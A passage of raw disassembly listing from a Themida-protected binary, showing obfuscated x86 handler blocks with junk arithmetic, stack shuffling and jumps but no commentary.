sub ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5A5415
; ---------------------------------------------------------------------------
loc_5A14AB: ; CODE XREF: Themida_:00596D63j
shl ebp, 4
sub ebp, 1
jmp loc_59ABA1
; ---------------------------------------------------------------------------
loc_5A14B6: ; CODE XREF: Themida_:0059B65Aj
push edx
mov edx, 217B08BFh
sub edi, edx
pop edx
push dword ptr [esp]
pop edx
add esp, 4
add edi, ebp
jmp loc_5A04A5
; ---------------------------------------------------------------------------
loc_5A14D0: ; CODE XREF: Themida_:0059C591j
not al
push 48Dh
mov [esp], ebx
mov bh, 4Ah
not bh
jmp loc_5A6068
; ---------------------------------------------------------------------------
loc_5A14E3: ; CODE XREF: Themida_:00598933j
add edi, 0FFFFFFFFh
xchg ecx, edi
sub esp, 4
mov [esp], ecx
jmp loc_5989D0
; ---------------------------------------------------------------------------
loc_5A14F6: ; CODE XREF: Themida_:0059C523j
mov ebx, edx
jmp loc_59D2D1
; ---------------------------------------------------------------------------
loc_5A14FD: ; CODE XREF: Themida_:0059BC08j
sub esi, 71DED622h
jmp loc_597F9D
; ---------------------------------------------------------------------------
loc_5A1508: ; CODE XREF: Themida_:0059AE01j
add esi, 4
xchg esi, [esp]
jmp loc_5A315F
; ---------------------------------------------------------------------------
loc_5A1513: ; CODE XREF: Themida_:0059DC59j
sub eax, 0AD185853h
sub esi, 60845824h
add esi, eax
add esi, 60845824h
mov eax, [esp]
add esp, 4
jmp loc_59B76A
; ---------------------------------------------------------------------------
loc_5A1531: ; CODE XREF: Themida_:005A44C1j
push cx
pushf
jmp loc_5AB4C4
; ---------------------------------------------------------------------------
loc_5A1539: ; CODE XREF: Themida_:005A8C36j
mov edx, esp
jmp loc_5A1B2B
; ---------------------------------------------------------------------------
loc_5A1540: ; CODE XREF: Themida_:005A052Cj
mov [esp], ebx
push esi
mov esi, 18264FE2h
shr esi, 2
sub esi, 1
sub esi, 42BC2E05h
inc esi
xor esi, 2F3B5C38h
jmp loc_59F17A
; ---------------------------------------------------------------------------
loc_5A1561: ; CODE XREF: Themida_:005A6BB8j
pop edx
add ebx, 7D6417E6h
jmp loc_5A4F65
; ---------------------------------------------------------------------------
loc_5A156D: ; CODE XREF: Themida_:005A5C03j
and esi, 1E6C2C97h
shl esi, 6
xor esi, 183054FCh
sub eax, esi
pop esi
jmp loc_5A9F28
; ---------------------------------------------------------------------------
loc_5A1584: ; CODE XREF: Themida_:0059ECF2j
xor dl, 4Ch
sub dl, 21h
add bl, 70h
sub bl, dl
jmp loc_59B232
; ---------------------------------------------------------------------------
loc_5A1594: ; CODE XREF: Themida_:0059C8D8j
push ecx
xor dword ptr [esp], 6ED224Ah
jmp loc_59B193
; ---------------------------------------------------------------------------
loc_5A15A1: ; CODE XREF: Themida_:005A4C10j
pop ebp
jmp loc_5AB32B
; ---------------------------------------------------------------------------
loc_5A15A7: ; CODE XREF: Themida_:005A7EA2j
mov eax, [esp]
add esp, 4
jmp loc_59B374
; ---------------------------------------------------------------------------
loc_5A15B2: ; CODE XREF: Themida_:0059B11Fj
add esi, 3E4B08B6h
add esi, eax
push edx
mov edx, 3E4B08B6h
jmp loc_5A320A
; ---------------------------------------------------------------------------
loc_5A15C5: ; CODE XREF: Themida_:005A085Dj
add edi, 4
add edi, 4
jmp loc_5A4F16
; ---------------------------------------------------------------------------
loc_5A15D3: ; CODE XREF: Themida_:0059BFD9j
push edi
mov edi, 7F043138h
xor [esp+4], edi
pop edi
push dword ptr [esp]
pop edi
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
jmp loc_5A70B8
; ---------------------------------------------------------------------------
loc_5A15F6: ; CODE XREF: Themida_:0059F095j
push edi
mov edi, 7F833116h
sub edi, 2EEF11B5h
xor ecx, edi
pop edi
add edi, ecx
pop ecx
add edi, 4
jmp loc_597842
; ---------------------------------------------------------------------------
loc_5A1613: ; CODE XREF: Themida_:005A4380j
add eax, 4
push 26C5h
jmp loc_5A3029
; ---------------------------------------------------------------------------
loc_5A1622: ; CODE XREF: Themida_:0059BF5Cj
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
jmp loc_59A0FA
; ---------------------------------------------------------------------------
loc_5A1634: ; CODE XREF: Themida_:00598EA4j
mov cl, 1
sub al, cl
mov cx, [esp]
add esp, 2
sub al, bl
push ebx
push ecx
mov ch, 89h
jmp loc_5A874E
; ---------------------------------------------------------------------------
loc_5A164D: ; CODE XREF: Themida_:0059B1ADj
sub esp, 4
mov [esp], ecx
mov ecx, 46992A69h
jmp loc_5A752F
; ---------------------------------------------------------------------------
loc_5A1660: ; CODE XREF: Themida_:0059F932j
push ecx
push ebx
mov ebx, 4C9B61CAh
mov ecx, 0B3649E38h
add ecx, ebx
mov ebx, [esp]
add esp, 4
mov ebp, ecx
pop ecx
sub edi, ebp
pop ebp
jmp loc_5A13A0
; ---------------------------------------------------------------------------
loc_5A1682: ; CODE XREF: Themida_:0059AB77j
push 270Ah
mov [esp], ecx
xor [esp], edx
xor edx, [esp]
xor [esp], edx
not edx
xchg edx, [esp]
push dword ptr [esp]
pop ecx
jmp loc_59B0F0
; ---------------------------------------------------------------------------
loc_5A16A1: ; CODE XREF: Themida_:0059C715j
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_59856F
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 70B76824h, 0C890000h, 4EC8124h, 83000000h, 0C9E904ECh
db 8Ah, 0FFh
db 0FFh
; ---------------------------------------------------------------------------
loc_5A16C7: ; CODE XREF: Themida_:0059DB63j
mov edi, 1EC6CA4Dh
xor esi, edi
pop edi
xor eax, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5A2592
; ---------------------------------------------------------------------------
loc_5A16DD: ; CODE XREF: Themida_:0059A1E9j
mov [esp], ebx
mov ebx, 729DD70Ch
xor eax, ebx
mov ebx, [esp]
push edx
jmp loc_59CD6F
; ---------------------------------------------------------------------------
loc_5A16F0: ; CODE XREF: Themida_:005A2527j
add esp, 4
jmp loc_5A99F7
; ---------------------------------------------------------------------------
loc_5A16F8: ; CODE XREF: Themida_:0059F6DBj
pop edi
add eax, edx
push esi
mov esi, 62960767h
jmp loc_59A298
; ---------------------------------------------------------------------------
loc_5A1706: ; CODE XREF: Themida_:0059F3E8j
sub dh, 2Fh
push ecx
mov cl, 88h
add dh, cl
mov ecx, [esp]
jmp loc_59670D
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 67F8h
mov [esp], edx
mov edx, esp
jmp loc_5A0A39
; ---------------------------------------------------------------------------
loc_5A1728: ; CODE XREF: Themida_:005A93E8j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A62F7
; ---------------------------------------------------------------------------
loc_5A173B: ; CODE XREF: Themida_:00597BF8j
sub al, 0F8h
jmp loc_5978C8
; ---------------------------------------------------------------------------
loc_5A1742: ; CODE XREF: Themida_:00596EB4j
mov [esp], edx
mov edx, 2
sub ebx, 1C4A4252h
add ebx, edx
push ecx
mov ecx, 4332042Ch
sub ecx, 64843C43h
sub ecx, 9F03B8Bh
jmp loc_5A9658
; ---------------------------------------------------------------------------
loc_5A1769: ; CODE XREF: Themida_:005A02D3j
mov edi, eax
pop eax
jmp loc_5AAF65
; ---------------------------------------------------------------------------
loc_5A1771: ; CODE XREF: Themida_:0059A831j
mov ecx, [esp]
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], edi
jmp loc_59D3F1
; ---------------------------------------------------------------------------
loc_5A1790: ; CODE XREF: Themida_:0059EBE7j
add ecx, ebp
jmp loc_59B01D
; ---------------------------------------------------------------------------
loc_5A1797: ; CODE XREF: Themida_:005A123Ej
mov esi, esp
add esi, 4
jmp loc_596391
; ---------------------------------------------------------------------------
loc_5A17A4: ; CODE XREF: Themida_:00599E65j
mov ebx, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
jmp loc_598D7D
; ---------------------------------------------------------------------------
loc_5A17C0: ; CODE XREF: Themida_:005A5AECj
add ebp, esi
pop esi
push ebx
jmp loc_5A3A3F
; ---------------------------------------------------------------------------
loc_5A17C9: ; CODE XREF: Themida_:005A5712j
pop edx
push ecx
mov ecx, ebx
mov eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
pop ebx
add edi, eax
mov eax, [esp]
jmp loc_5A00AD
; ---------------------------------------------------------------------------
loc_5A17E1: ; CODE XREF: Themida_:005A5934j
mov edx, 0BB31562h
push edx
push dword ptr [esp]
jmp loc_5A9B1A
; ---------------------------------------------------------------------------
loc_5A17EF: ; CODE XREF: Themida_:005966E1j
add esp, 4
sub ebp, 29D415C3h
or ebp, 4BA100CCh
sub ebp, 0FFFFFFFFh
jmp loc_5A1CF1
; ---------------------------------------------------------------------------
loc_5A180C: ; CODE XREF: Themida_:005AA072j
sub ebx, 2075D42Ch
mov ecx, ebx
jmp loc_59E872
; ---------------------------------------------------------------------------
loc_5A1819: ; CODE XREF: Themida_:0059D237j
push ebx
jmp loc_5969FD
; ---------------------------------------------------------------------------
loc_5A181F: ; CODE XREF: Themida_:005A510Fj
mov [esp], eax
add dword ptr [esp], 396435Ch
jmp loc_59D1B3
; ---------------------------------------------------------------------------
loc_5A182E: ; CODE XREF: Themida_:005AAE8Fj
push ebx
push ecx
push eax
push 6462B04h
pop eax
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 59E30CC8h
mov ebx, ebp
pop ebp
jmp loc_5A907D
; ---------------------------------------------------------------------------
loc_5A184B: ; CODE XREF: Themida_:0059824Fj
mov edx, 151435F4h
add ecx, 53AC5700h
add ecx, edx
sub ecx, 53AC5700h
jmp loc_59E6F8
; ---------------------------------------------------------------------------
loc_5A1863: ; CODE XREF: Themida_:005A9EE5j
mov ebx, 1BE62F68h
jmp loc_5A10FA
; ---------------------------------------------------------------------------
loc_5A186D: ; CODE XREF: Themida_:005A13BEj
mov esp, [esp]
mov [esp], ecx
push edx
push 771Ch
jmp loc_596ED6
; ---------------------------------------------------------------------------
loc_5A187E: ; CODE XREF: Themida_:0059B663j
add esp, 2
sub ax, 9535h
push ebp
mov bp, ax
mov dx, bp
pop ebp
mov eax, [esp]
add esp, 4
jmp loc_59A745
; ---------------------------------------------------------------------------
loc_5A189B: ; CODE XREF: Themida_:005AAE30j
sub esi, 18954824h
shr esi, 4
sub esi, 0F5D9AD4Ch
sub edi, esi
pop esi
push ebp
mov ebp, 31D103C6h
not ebp
dec ebp
xor ebp, 0EE9180C6h
sub eax, ebp
pop ebp
add eax, edi
push esi
mov esi, 4942192Ch
shr esi, 1
jmp loc_5A1290
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
jmp loc_5A2446
; ---------------------------------------------------------------------------
loc_5A18E8: ; CODE XREF: Themida_:005A03EDj
pop ebx
shr dh, 4
jmp loc_5A4ABE
; ---------------------------------------------------------------------------
loc_5A18F1: ; CODE XREF: Themida_:005A28B7j
mov [esp], dx
mov dh, 31h
jmp loc_5A2688
; ---------------------------------------------------------------------------
loc_5A18FC: ; CODE XREF: Themida_:0059D7CFj
push bp
mov bp, 38AFh
sub bx, bp
pop bp
xor ax, bx
pop ebx
and dx, ax
pop eax
push ecx
mov cx, 4E4Bh
sub cx, 5F5Ah
sub cx, 0FFFFh
shr cx, 2
push ax
mov ax, 0C5EEh
jmp loc_59CE54
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4170h
mov [esp], ebx
push 743Eh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
jmp loc_5A030A
; ---------------------------------------------------------------------------
loc_5A1951: ; CODE XREF: Themida_:005A87FCj
push 7315h
mov [esp], edi
jmp loc_5A5615
; ---------------------------------------------------------------------------
loc_5A195E: ; CODE XREF: Themida_:005A5B10j
push edx
mov edx, 43720F70h
add eax, edx
pop edx
push dword ptr [esp]
pop ebx
sub esp, 4
jmp loc_59D25E
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push 7086h
mov [esp], esp
jmp loc_598367
; ---------------------------------------------------------------------------
loc_5A1988: ; CODE XREF: Themida_:005A6C06j
shl eax, 7
jmp loc_599F2A
; ---------------------------------------------------------------------------
loc_5A1990: ; CODE XREF: Themida_:005A54C1j
mov ebx, 4DCE79ADh
push ebx
jmp loc_5A7DC8
; ---------------------------------------------------------------------------
loc_5A199B: ; CODE XREF: Themida_:0059B46Dj
add edx, eax
mov eax, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ecx
mov ch, 15h
jmp loc_59F8B3
; ---------------------------------------------------------------------------
loc_5A19C5: ; CODE XREF: Themida_:0059DD75j
push eax
mov eax, esp
jmp loc_5AA76D
; ---------------------------------------------------------------------------
loc_5A19CD: ; CODE XREF: Themida_:0059C2E8j
add esp, 4
add eax, 770F6671h
push 7FA0h
mov [esp], edi
mov edi, 6C4D02DAh
shl edi, 6
sub esp, 4
mov [esp], esi
mov esi, 4BDA2E4Dh
jmp loc_5AAE2A
; ---------------------------------------------------------------------------
loc_5A19FB: ; CODE XREF: Themida_:0059ED07j
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
add ebp, 4
push edx
push 6725h
push esp
jmp loc_5A8718
; ---------------------------------------------------------------------------
loc_5A1A1F: ; CODE XREF: Themida_:0059DA2Bj
mov eax, 4
sub esi, eax
mov eax, [esp]
push 170Fh
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_5A46E8
; ---------------------------------------------------------------------------
loc_5A1A3E: ; CODE XREF: Themida_:005AB36Fj
mov ebp, 0A052D30Dh
jmp loc_5A721F
; ---------------------------------------------------------------------------
loc_5A1A48: ; CODE XREF: Themida_:005A840Bj
and edi, 53883AE8h
dec edi
xor edi, 405D4956h
sub edi, 105D41EDh
add eax, edi
pop edi
sub esp, 4
mov [esp], edi
jmp loc_59EE6B
; ---------------------------------------------------------------------------
loc_5A1A6C: ; CODE XREF: Themida_:0059F6C9j
pop ebp
add esp, 4
xor ebp, edx
pop edx
jmp loc_5A5D79
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1A88: ; CODE XREF: Themida_:0059AD5Cj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5A3EA8
; ---------------------------------------------------------------------------
loc_5A1A98: ; CODE XREF: Themida_:005981EFj
push eax
jmp loc_5A8E6F
; ---------------------------------------------------------------------------
loc_5A1A9E: ; CODE XREF: Themida_:0059F041j
add edx, 4
xchg edx, [esp]
jmp loc_5A1357
; ---------------------------------------------------------------------------
loc_5A1AAC: ; CODE XREF: Themida_:0059BD21j
mov ecx, esp
jmp loc_5A7A73
; ---------------------------------------------------------------------------
loc_5A1AB3: ; CODE XREF: Themida_:00596C01j
mov eax, edi
pop edi
xor eax, 2F0E3CD3h
jmp loc_59F199
; ---------------------------------------------------------------------------
loc_5A1AC0: ; CODE XREF: Themida_:005A2C9Cj
push si
mov si, 0D4B1h
add dx, si
pop si
add word ptr [esp+2], 422Eh
add word ptr [esp+2], 4468h
add word ptr [esp+2], 327Eh
add [esp+2], dx
jmp loc_5A5156
; ---------------------------------------------------------------------------
loc_5A1AEA: ; CODE XREF: Themida_:005A4720j
xor bl, al
movzx eax, al
jmp loc_5A0AFE
; ---------------------------------------------------------------------------
loc_5A1AF4: ; CODE XREF: Themida_:005A7BE2j
pop ebp
sub esp, 4
jmp loc_59EEEA
; ---------------------------------------------------------------------------
loc_5A1AFD: ; CODE XREF: Themida_:0059CD3Aj
mov edx, [esp]
add esp, 4
jmp loc_5A71C9
; ---------------------------------------------------------------------------
loc_5A1B08: ; CODE XREF: Themida_:0059D212j
mov ebp, 5C340619h
sub ebp, 106A0C61h
add eax, ebp
jmp loc_5A8130
; ---------------------------------------------------------------------------
loc_5A1B1A: ; CODE XREF: Themida_:005A6A94j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1B2B: ; CODE XREF: Themida_:005A153Bj
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5A2A89
; ---------------------------------------------------------------------------
loc_5A1B3C: ; CODE XREF: Themida_:005A59D1j
push ebp
push edi
jmp loc_5A6F31
; ---------------------------------------------------------------------------
loc_5A1B43: ; CODE XREF: Themida_:005A5FCEj
mov ecx, 6587700Bh
inc ecx
push ecx
jmp loc_5986AC
; ---------------------------------------------------------------------------
loc_5A1B4F: ; CODE XREF: Themida_:0059A046j
push esi
push esp
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_59E7E2
; ---------------------------------------------------------------------------
loc_5A1B74: ; CODE XREF: Themida_:00598595j
xor ebx, [esp]
pop esp
jmp loc_59F3F2
; ---------------------------------------------------------------------------
loc_5A1B7D: ; CODE XREF: Themida_:005A6690j
pop ecx
xchg esi, [esp]
pop esp
jmp loc_5AAE73
; ---------------------------------------------------------------------------
loc_5A1B87: ; CODE XREF: Themida_:005A3BFCj
push 3FA8h
mov [esp], esi
mov esi, 78D94A72h
add ecx, esi
jmp loc_598938
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1BAA: ; CODE XREF: Themida_:005A1F4Ej
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, esp
push 3B4Ch
mov [esp], ebp
mov ebp, 20DB2414h
shl ebp, 7
push ebx
mov ebx, 7CB07E8Bh
jmp loc_5A8410
; ---------------------------------------------------------------------------
loc_5A1BCF: ; CODE XREF: Themida_:005A9A08j
mov edx, 77025CFCh
sub edi, edx
pop edx
jmp loc_5A25E3
; ---------------------------------------------------------------------------
loc_5A1BDC: ; CODE XREF: Themida_:005A8694j
push ebx
jmp loc_597663
; ---------------------------------------------------------------------------
loc_5A1BE2: ; CODE XREF: Themida_:005A354Dj
push esi
jmp loc_59D75F
; ---------------------------------------------------------------------------
loc_5A1BE8: ; CODE XREF: Themida_:005A3CAEj
mov [esp], esp
jmp loc_59D838
; ---------------------------------------------------------------------------
loc_5A1BF0: ; CODE XREF: Themida_:0059847Fj
push edx
jmp loc_59967F
; ---------------------------------------------------------------------------
loc_5A1BF6: ; CODE XREF: Themida_:005A7F49j
pop ebx
or edi, 5F705752h
jmp loc_597C9A
; ---------------------------------------------------------------------------
loc_5A1C02: ; CODE XREF: Themida_:005AA170j
push dword ptr [esp]
mov edx, [esp]
jmp loc_5A71B0
; ---------------------------------------------------------------------------
loc_5A1C0D: ; CODE XREF: Themida_:005A94EAj
and dl, 43h
jmp loc_5A0EAC
; ---------------------------------------------------------------------------
loc_5A1C15: ; CODE XREF: Themida_:005A2F5Ej
mov [esp], edx
jmp loc_5A8494
; ---------------------------------------------------------------------------
loc_5A1C1D: ; CODE XREF: Themida_:0059DA33j
pop ebp
xor eax, edx
pop edx
push ebp
push edi
jmp loc_59DE26
; ---------------------------------------------------------------------------
loc_5A1C28: ; CODE XREF: Themida_:00598F9Bj
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_597D42
; ---------------------------------------------------------------------------
loc_5A1C39: ; CODE XREF: Themida_:005A2662j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov ebx, [esp]
jmp loc_5A31BA
; ---------------------------------------------------------------------------
loc_5A1C4B: ; CODE XREF: Themida_:0059AB37j
mov esi, esp
jmp loc_5A6E68
; ---------------------------------------------------------------------------
loc_5A1C52: ; CODE XREF: Themida_:0059C90Bj
inc edi
dec edi
add edi, 203C4964h
push edx
mov edx, 720D2654h
add edx, 0C885415h
jmp loc_5A33A0
; ---------------------------------------------------------------------------
loc_5A1C6B: ; CODE XREF: Themida_:0059918Cj
xor ebx, [esp]
jmp loc_59D48D
; ---------------------------------------------------------------------------
loc_5A1C73: ; CODE XREF: Themida_:005A3DFAj
not esi
xor esi, 0E4215CDh
push ebx
mov ebx, 25ED79D0h
jmp loc_5A7839
; ---------------------------------------------------------------------------
loc_5A1C86: ; CODE XREF: Themida_:0059D5F4j
add ebp, 4
jmp loc_5974C2
; ---------------------------------------------------------------------------
loc_5A1C91: ; CODE XREF: Themida_:00598093j
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_5A9208
; ---------------------------------------------------------------------------
loc_5A1CA5: ; CODE XREF: Themida_:00596C29j
push edi
mov edi, 23F327B3h
mov esi, 8DB3F6Dh
add esi, edi
pop edi
xor esi, edi
xor edi, esi
xor esi, edi
not edi
xchg edi, esi
jmp loc_599F94
; ---------------------------------------------------------------------------
loc_5A1CC2: ; CODE XREF: Themida_:005A734Ej
shr ebp, 5
jmp loc_599641
; ---------------------------------------------------------------------------
loc_5A1CCA: ; CODE XREF: Themida_:0059DCE9j
sub ebx, eax
pop eax
jmp loc_5A35FF
; ---------------------------------------------------------------------------
loc_5A1CD2: ; CODE XREF: Themida_:005AAFD2j
mov ebp, eax
pop eax
add [esp+4], ebp
jmp loc_59711D
; ---------------------------------------------------------------------------
loc_5A1CDE: ; CODE XREF: Themida_:005A6E03j
mov [esp], ebp
mov ebp, 0F128906Ch
add ebx, ebp
push dword ptr [esp]
pop ebp
jmp loc_5A8C5D
; ---------------------------------------------------------------------------
loc_5A1CF1: ; CODE XREF: Themida_:005A1807j
xor ebp, 7256744Bh
jmp loc_5AA092
; ---------------------------------------------------------------------------
loc_5A1CFC: ; CODE XREF: Themida_:005A583Fj
shr ecx, 8
add ecx, 6647885Ch
mov edx, ecx
pop ecx
shl edx, 8
inc edx
inc edx
add edx, 38F252A7h
shl edx, 8
sub edx, 0B56AA72Dh
add eax, edx
jmp loc_5A683D
; ---------------------------------------------------------------------------
loc_5A1D23: ; CODE XREF: Themida_:005A4252j
mov [esp], eax
mov eax, 65AB7091h
mov ebp, 78991496h
jmp loc_5A4132
; ---------------------------------------------------------------------------
loc_5A1D35: ; CODE XREF: Themida_:00596A2Fj
pop eax
xor esi, 75E91882h
mov ebp, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 45741EECh
push ebp
jmp loc_5AA890
; ---------------------------------------------------------------------------
loc_5A1D55: ; CODE XREF: Themida_:005A63B9j
mov [esp], edi
mov edi, 2A99286Ah
sub edx, edi
pop edi
pop ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1D66: ; CODE XREF: Themida_:005A32DBj
and ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_5A0978
; ---------------------------------------------------------------------------
loc_5A1D7D: ; CODE XREF: Themida_:00599351j
mov ebp, 21F34F87h
and ebp, 17F6EBEh
sub ebp, 2A074C6Eh
sub ebp, 0D76C0214h
jmp loc_59619E
; ---------------------------------------------------------------------------
loc_5A1D99: ; CODE XREF: Themida_:0059A5D1j
add ecx, ebp
pop ebp
dec ecx
push ebp
mov ebp, 69FE66B2h
jmp loc_5A4264
; ---------------------------------------------------------------------------
loc_5A1DA8: ; CODE XREF: Themida_:005A09A6j
mov [esp], edi
mov edi, 0B4107E4h
jmp loc_59E13D
; ---------------------------------------------------------------------------
loc_5A1DB5: ; CODE XREF: Themida_:005A85A8j
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1DD1: ; CODE XREF: Themida_:0059AA25j
pop ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5A3DBF
; ---------------------------------------------------------------------------
loc_5A1DE9: ; CODE XREF: Themida_:005963A1j
push esi
mov esi, 49D5595h
mov ebp, 0FB62AA6Fh
add ebp, esi
pop esi
add [esp+4], ebp
mov ebp, [esp]
push edi
jmp loc_5A5242
; ---------------------------------------------------------------------------
loc_5A1E04: ; CODE XREF: Themida_:0059CE66j
xor bl, cl
pop cx
push bx
mov bl, 96h
jmp loc_5A7B3D
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 379327C4h
push ebp
mov ebp, 5EE3631h
add [esp+8], ebp
jmp loc_59C546
; ---------------------------------------------------------------------------
loc_5A1E2C: ; CODE XREF: Themida_:0059EBD3j
pop eax
jmp loc_5A78DA
; ---------------------------------------------------------------------------
loc_5A1E32: ; CODE XREF: Themida_:0059C965j
mov esi, [esp]
jmp loc_59E05E
; ---------------------------------------------------------------------------
loc_5A1E3A: ; CODE XREF: Themida_:0059D5CCj
mov eax, 4
add dword ptr [esp+4], 5A8D3D0Dh
add [esp+4], eax
jmp loc_59C16F
; ---------------------------------------------------------------------------
loc_5A1E50: ; CODE XREF: Themida_:0059EDA2j
mov ebp, 459E4FE8h
shr ebp, 1
and ebp, 194B28ACh
add ebp, 734054E3h
jmp loc_5A7799
; ---------------------------------------------------------------------------
loc_5A1E68: ; CODE XREF: Themida_:005A3574j
xor esi, edi
pop edi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 4EB7006Fh
shl ecx, 6
jmp loc_5984F1
; ---------------------------------------------------------------------------
loc_5A1E8B: ; CODE XREF: Themida_:005A8484j
neg edi
sub esp, 4
mov [esp], ebp
mov ebp, 44F826CBh
xor edi, ebp
pop ebp
xor esi, edi
pop edi
add eax, esi
pop esi
xchg eax, [esp]
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_59E6D8
; ---------------------------------------------------------------------------
loc_5A1EAE: ; CODE XREF: Themida_:005A3406j
shr eax, 0Bh
xor ecx, eax
push 3A37h
mov [esp], ebx
push ebp
push ebx
push 558C6F40h
pop ebx
push edi
mov edi, 0B76608D0h
add ebx, edi
pop edi
mov ebp, ebx
pop ebx
xor [esp+4], ebp
push dword ptr [esp]
pop ebp
add esp, 4
mov eax, [esp]
add esp, 4
jmp loc_59CBB5
; ---------------------------------------------------------------------------
loc_5A1EE8: ; CODE XREF: Themida_:005A62F2j
pop ebp
sub ebp, 3F0F07FBh
jmp loc_598B57
; ---------------------------------------------------------------------------
loc_5A1EF4: ; CODE XREF: Themida_:005A8242j
add esi, 4A55749Dh
sub esi, ebx
sub esi, 4A55749Dh
jmp loc_59F5CC
; ---------------------------------------------------------------------------
loc_5A1F07: ; CODE XREF: Themida_:0059F01Fj
push edi
push eax
mov eax, 22587CAFh
mov edi, 0E89EE5F0h
add edi, eax
pop eax
shr edi, 8
and edi, 74D06BCEh
sub edi, 90070B7h
shl edi, 4
sub edi, 0ADE0AC9h
mov esi, edi
pop edi
jmp loc_5A477A
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 20CDh
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A1F47: ; CODE XREF: Themida_:005A6453j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
jmp loc_5A1BAA
; ---------------------------------------------------------------------------
loc_5A1F53: ; CODE XREF: Themida_:005A2E88j
add ebx, esi
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A82CA
; ---------------------------------------------------------------------------
loc_5A1F68: ; CODE XREF: Themida_:005983CDj
mov ebx, 8855205h
sub dword ptr [esp+8], 6A905817h
sub [esp+8], ebx
push ebx
push 6450h
mov [esp], esi
push 4F7E7A81h
pop esi
and esi, 483B402Dh
sub esi, 0DDA9E7EAh
mov ebx, esi
pop esi
jmp loc_599A7D
; ---------------------------------------------------------------------------
loc_5A1F9C: ; CODE XREF: Themida_:00596929j
not ecx
neg ecx
sub ecx, 0C3FC084Ch
jmp loc_5A976C
; ---------------------------------------------------------------------------
loc_5A1FAB: ; CODE XREF: Themida_:005A3A50j
add ebp, ebx
pop ebx
jmp loc_5AA3A6
; ---------------------------------------------------------------------------
loc_5A1FB3: ; CODE XREF: Themida_:0059DC2Dj
xchg edx, [esp]
pop esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5A5801
; ---------------------------------------------------------------------------
loc_5A1FD4: ; CODE XREF: Themida_:005A8B89j
add ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ecx
jmp loc_598811
; ---------------------------------------------------------------------------
loc_5A1FE9: ; CODE XREF: Themida_:0059E2CEj
add eax, 418B05F4h
add eax, ebp
sub eax, 418B05F4h
mov ebp, [esp]
add esp, 4
add eax, 4
push 1C5Ch
jmp loc_59FBE8
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A2013: ; CODE XREF: Themida_:0059A6A9j
xor ebp, 1DCD3C90h
not ebp
inc ebp
jmp loc_5A60D3
; ---------------------------------------------------------------------------
loc_5A2021: ; CODE XREF: Themida_:00598AC8j
mov [esp], edx
push ecx
mov ecx, 509C0545h
sub ecx, 0F62D9E9h
mov edx, 18742638h
sub edx, 38502E01h
add edx, ecx
add edx, 38502E01h
pop ecx
jmp loc_596C0E
; ---------------------------------------------------------------------------
loc_5A2049: ; CODE XREF: Themida_:00597CDFj
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_59B32D
; ---------------------------------------------------------------------------
